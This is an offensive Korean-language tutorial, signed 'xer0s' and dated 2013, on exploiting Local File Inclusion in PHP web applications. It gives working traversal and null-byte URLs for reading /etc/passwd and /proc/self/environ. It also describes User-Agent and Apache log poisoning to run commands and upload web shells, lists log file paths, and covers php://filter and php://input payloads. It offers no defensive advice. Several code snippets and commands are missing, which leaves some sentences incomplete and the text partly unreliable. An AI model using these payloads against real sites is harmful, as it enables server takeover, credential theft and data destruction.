################################################## # # # # # Knowing about LFI(Local File Inclusion) # # # # # ################################################## [INFOS]------------------------------------------------------------------------ Title: Knowing All about LFI Author: xer0s(kim_jey_gon@nate.com) Date: 2013-02-10 Website: http://xer0s.tistory.com ------------------------------------------------------------------------------- [CONTENTS]--------------------------------------------------------------------- 0x01: Introduction 0x02: Finding LFI Vulnerability 0x03: LFI via /proc/self/environ 0x04: LFI via Log files 0x05: Using PHP Wrappers 0x06: Conclusion ------------------------------------------------------------------------------- [0x01: Introduction]----------------------------------------------------------- 안녕하세요 여러분. LeaveRet 보안팀 소속 xer0s입니다. 이 문서를 통해 저는 LFI와 관련된 여러 흥미로운 내용들을 다뤄볼려 합니다. 이 문서는 국내에 몇 안되는 LFI문서와 더불어 여러분들의 LFI에 대한 이해를 도와줄 것 입니다. 제가 실력이 좋다거나 LFI에 관해서 오래 연구를 한건 아닙니다. 제가 이 문서에서 언급하는 내용들이 이미 오래된 내용일수도 있구요. 문서에 관하여 지적해주실 내용이나 궁금하신것들은 위에 제 네이트온으로 친추 걸어주시고 쪽지 남겨주시면 최대한 빠르고 정확하게 응답해드리겠습니다. 제가 아는 LFI에 관한 모든것을 이 문서에 담았으니 재밌게 읽어주시길 바라겠습니다. ------------------------------------------------------------------------------- [0x02: Finding LFI Vulnerability]---------------------------------------------- LFI에 관하여 배워보기 전에 가장 먼저 알고 가야되는 내용이 LFI가 무엇이냐 입니다. LFI란 Local File Inclusion의 약자로 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다. 이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을때 일어납니다. 대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다. 아래 PHP 코드는 간단하고 전형적인 LFI의 예입니다. 위 코드에 대응하는 URL은 아래와 같을수 있습니다. http://www.site.com/index.php?pages=contaotus.php 이러한 URL은 이 페이지 밖에 있는 파일에 관심이 있는 잠재적 공격자에게로부터 꽤나 치명적이라고 할 수 있습니다. 이 페이지 밖의 패스워드 파일과 같은 파일을 읽기 위해서 공격자는 LFI를 이용할수 있습니다. 간단한 예로는 아래와 같은 순서대로 공격을 시도해 볼수 있습니다. http://www.site.com/index.php?pages=/etc/passwd 유닉스 시스템 계열에서는 보안에 큰영향을 미치는 여러 중요한 디렉토리들이 있는데 그 중에 하나가 서버의 모든 패스워드 해쉬를 담고 있는 /etc/passwd 입니다. 공격자는 위 URL처럼 /etc/passwd를 읽어 올수 있습니다. 위 URL처럼 /etc/passwd를 읽어오려해도 읽혀지지 않는다면 아래 와 같은 방법들로도 시도를 해볼수 있습니다. http://www.site.com/index.php?pages=../../../../etc/passwd ../../../ 와 같이 ../를 여러번 붙여 주는 이유는 /etc/passwd 디렉토리의 상위디렉토리 존재 가능성 때문입니다. 위 URL처럼 시도하면 /etc/passwd를 읽어올수 있겠지만 조건에 따라 여전히 안 읽어질수도 있습니다. 여러 이유들이 존재할수 있지만 하나의 이유로는 코딩에 의해 생성된 쓰레기 값 때문 일수 있습니다. 아래 URL대로 시도를 해주면 쓰레기값을 성공적으로 날려버릴수 있습니다. http://www.site.com/index.php?pages=../../../../etc/passwd%00 /etc/passwd 뒤에 %00은 널바이트로써 /etc/passwd 뒤에 붙는 쓸데없는 값들을 널바이트로 날려버립니다. 만약 성공적으로 읽어들였다면 아래와 비슷한 결과물들이 보일것입니다. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin 상위와 비슷한 결과가 페이지에 나타나지 않는다면 /etc/passwd를 읽어들이는데 실패한것입니다. 필터링을 적절히 우회해주면 마침내 /etc/passwd를 읽어드릴수 있을것입니다. 이 문서에서는 필터링 우회에 관한 자세한 방법들은 넘어가겠습니다. page= 말고도 아래와 같이 이러한 경로를 갖는 URL들은 LFI를 의심해볼수 있습니다. file= path= doc= pdf= folder= style= document= PHP_PATH= lang= template= pg= document_root= /etc/passwd 말고도 아래 디렉토리들과 같이 다양한 보안상 중요한 디렉토리들이 존재하니 참고 해보세요. /etc/shadow /etc/group /etc/security/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits /usr/lib/security/mkuser.default -------------------------------------------------------------------------------- [0x03: LFI via /proc/self/environ]---------------------------------------------- 만약 /etc/passwd 에 담겨 있는 패스워드 해쉬들을 성공적으로 읽어서 필요한 정보를 획득했다면 이제 /proc/self/environ에 접근히 가능한지 확인해볼 필요가 있습니다. 만약 접근이 가능하다면 공격자는 공격대상인 사이트에 쉘을 올림으로서 영향력을 행사할수 있습니다. 접근이 불가능 하다면 공격자는 아마 접근이 가능한 다른 파일을 찾아 올려야 될것입니다. 지금은 /proc/self/environ에 관해서만 설명을 하겠습니다. /proc/self/environ은 위에 /etc/passwd 을 접근했던 방식과 같이 접근을 시도 해볼수 있습니다. http://www.site.com/index.php?pages=../../../../proc/self/environ%00 만약 /proc/self/environ이 성공적으로 읽혀들여 졌다면 아래와 비슷한 결과들이 보일것입니다. DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_AGENT= Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 위 결과 첫번째 줄이 DOCUMENT_ROOT= 로 시작하는데 이는 공격자가 성공적으로 접근을 한것입니다. 쉘을 올리기 위한 마지막 단계로 User Agent Field에 PHP 코드를 넣어주면 되는데 그전에 아무 명령어나 집어넣어보겠습니다 프록시 툴을 이용해 페이지 request에서 User Agent Field 부분에 등과 같은 명령어를 삽입해주면 아래 User Agent Field 부분에 자기의 id정보가 나왔음을 알수 있습니다. DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_AGENT=uid=504(xer0s) gid=504(xer0s) groups=504(xer0s) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 이제는 위에 를 삽입했던것과 같이 쉘을 올려 주면 됩니다. WGET과 CURL를 이용해 올리는 방법 입니다. 꼭 쉘이 아니더라도 ls -al, rm -rf 와 같은 명령어들로 서버를 보고 또 조작할수도 있겠습니다. --------------------------------------------------------------------------------------- [0x04: LFI via Log files]-------------------------------------------------------------- /proc/self/environ 에 접근이 안되도 Log를 이용해 쉘을 올릴수 있는 방법이 존재합니다. 우리는 사이트에 코드를 주입하고 조작할수 있는 여러 종류의 로그 파일들을 열거해본다음 로그 파일들을 조작하고 코드를 주입하는 법들을 살펴볼것입니다.공격자가 평범한 아파치 서버를 공격한다고 가정해봅시다. 기본적으로 아파치서버들은 access_log 라고 불리는 로그파일과 error_log 라고 불리는 로그 파일을 생성합니다. 만약 공격자들이 이 로그들을 이용한다면 PHP 코드를 올릴수 있을 것 입니다. 아래는 로그의 위치들을 예상해서 모아논 목록입니다. /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /opt/lampp/logs/access_log /opt/lampp/logs/error_log /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/www/logs/thttpd_log /var/apache/logs/access_log /var/apache/logs/error_log /var/log/apache/access.log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/httpd/access_log /var/log/httpd/error_log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/thttpd_log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log C:\apache\logs\access.log C:\apache\logs\error.log C:\Program Files\Apache Group\Apache\logs\access.log C:\Program Files\Apache Group\Apache\logs\error.log C:\program files\wamp\apache2\logs C:\wamp\apache2\logs C:\wamp\logs C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log access_log를 공격하는 방법과 error_log를 공격하는 방법은 조금다릅니다. 우선 access_log 부터 봐보겠습니다. access_log를 공격하는 가장좋은 방법은 /proc/self/environ을 공격하는 방법과 같이 User-Agent를 변조하는 것입니다. User-Agent 변조 말고도 User-Agent가 없을시 REFERER를 공격하는등의 방법이 있지만 이 문서에서는 User-Agent만 언급하겠습니다. 아래 로그는 access_log의 일부입니다. 123.254.150.178 - - [31/Jan/2013:01:04:28 +0900] "GET /hiki/hiki1.png HTTP/1.1" 200 359657 "http://cloud.eaf.kr/hiki/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:28 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:31 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:32 +0900] "GET /hiki/hiki2.png HTTP/1.1" 200 494657 "http://cloud.eaf.kr/hiki/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:33 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" /proc/self/environ에서 봤던것과 비슷한 User-Agent부분도 존재하는것을 확인하실수 있습니다. 이제는 위에 /proc/self/environ과 같은 방식대로 User-Agent를 변조해줘서 원하는 명령어를 실행시키거나 쉘을 올릴수 있습니다. error_log를 공격하는데는 제한사항이 있습니다. 바로 404에러나 500에러를 내야 한다는 것이죠. 그 이유는 바로 error_log가 404에러나 500에러가 났을때 기록되기 때문입니다. 만약 서버가 404에러나 500에러가 발생했을시 다른 에러가 나게 한다면 error_log를 이용한 LFI 는 불가능하다고 보시면 됩니다. 아래 URL을 보시기 바랍니다. http://www.site.com/aaaaaaaa?aaa= 이 URL은 URL오류로 404에러가 나면서 error_log에 에러가 기록됩니다. 가 php정보를 보는 명령어이므로 error_log 에서 저 명령어가 작동이되어서 php정보가 기록이 되게 됩니다. 꼭 위의 방법이 아니더라도 어떤식으로든 404나 500에러를 내주신다면 로그는 기록되기 때문에 다양하게 시도를 해보실수도 있습니다. [0x05: Using PHP Wrappers]-------------------------------------------------------------- 위와 같이 여러 LFI 취약점들을 찾았다고 하더라도 매번 쉘이 올려지는것이 아니고 상황에 따라 LFI취약점을 다른 방법으로 찾아야 될수 도 있습니다. PHP는 PHP자신의 입력 및 출력 스트림, 표준입출력, 오류 파일 기술어 등에 엑세스 할수 있는 다양한 I/O 스트림을 제공하는데 이를 PHP Wrapper 라고 합니다. 이러한 PHP의 장점을 LFI에도 이용할수 있습니다. 여러 PHP Wrapper 중에서도 LFI에 가장 많이 쓰이는 PHP Wrapper에는 크게 두가지가 있는데 바로 php://filter 와 php://input 입니다. 우선 php://filter를 이용한 공격부터 살펴 보겠습니다. 아래는 PHP 5.0.0부터 사용가능해진 래퍼 함수입니다. 래퍼에 관한 자세한 설명은 http://php.net/manual/en/wrappers.php.php 를 참고해주세요 php://filter/convert.base64_encode/resource= 위 함수를 사용하여 최종적으로 얻기 위한것은 자신이 보고자 하는 페이지의 소스입니다 예를들어 이를 이용하여 hello.php 를 읽는다고 가정할때의 URL은 다음과 같습니다. http://www.site.com/vulnpage.php?page=php://filter/convert.base64_encode/resource=hello.php 위와 같은 URL의 결과로는 아래와 같이 base64 인코딩 값이 나올것입니다. PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRtbD4KPGhlYWQ+CiAgPHRpdGxlPk15IEZpcnN0IFRlc3QgU2l0ZTwvdG l0bGU+CiAgPE1FVEEgSFRUUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20vaW5kZXgucGhwIj4KPC9oZWFkPgo8Ym9k eT4KPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIElmIHlvdSBhcmUgbm90IHJlZGlyZWN0ZWQgcGxlYXNlIGNsaWNrIDxhIGhyZWY9IiBodHRwOi8vdGVzdHNpdGUuY2 9tL2luZGV4LnBocCAiPmhlcmU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+ 이 base64 인코딩 값을 decode 해주면 My First Test Site
If you are not redirected please click here.
이와 같이 홈페이지 소스가 보여지게 됩니다. 공격자는 이 소스를 이용해서 LFI외에도 SQL Injection같은 공격을 위한 정보라던지 유용한 코드정보들을 읽을수 있습니다. 이번에는 php://input을 이용한 공격을 알아보겠습니다. php://input 의 래퍼 용도가 request 바디의 데이터를 읽는 역활이므로 이를 이용해서 페이지에 쉘을 삽입할 수 있습니다. 사용방법은 아래와 URL과 같습니다. http:www.site.com/index.php?page=php://input 위의 URL을 보내준다음 프록시 툴로 POST request를 잡아서 자기가 원하는 명령어를 삽입해주면 됩니다. 위와 같이 명령어를 보내주면 페이지에 자신의 id 정보가 나타난것을 확인할 수 있습니다. 쉘은 위 /proc/self/environ 에서 설명했던 방법대로 올려줄수 있습니다. [0x06: Conclusion]---------------------------------------------------------------------- 여러분 이제 끝낫어여!!. 대략 일주가 걸려 만든 문서 인데 LFI를 공부하고자 하시는 분들께 조금이나마 도움이 됬으면 합니다. 이 문서의 목적은 LFI 심화기법이 아니라 전반적인 LFI의 이해를 돕는데 초점이 맞춰져 있습니다. 이 문서를 바탕으로 추가적인 연구를 한다면 자신이 원하는 LFI 기법을 얼마든지 발전시킬수 있을것입니다. 이 문서를 만드는데 도움을 주신 분들께 감사의 마음을 전합니다. ----------------------------------------------------------------------------------------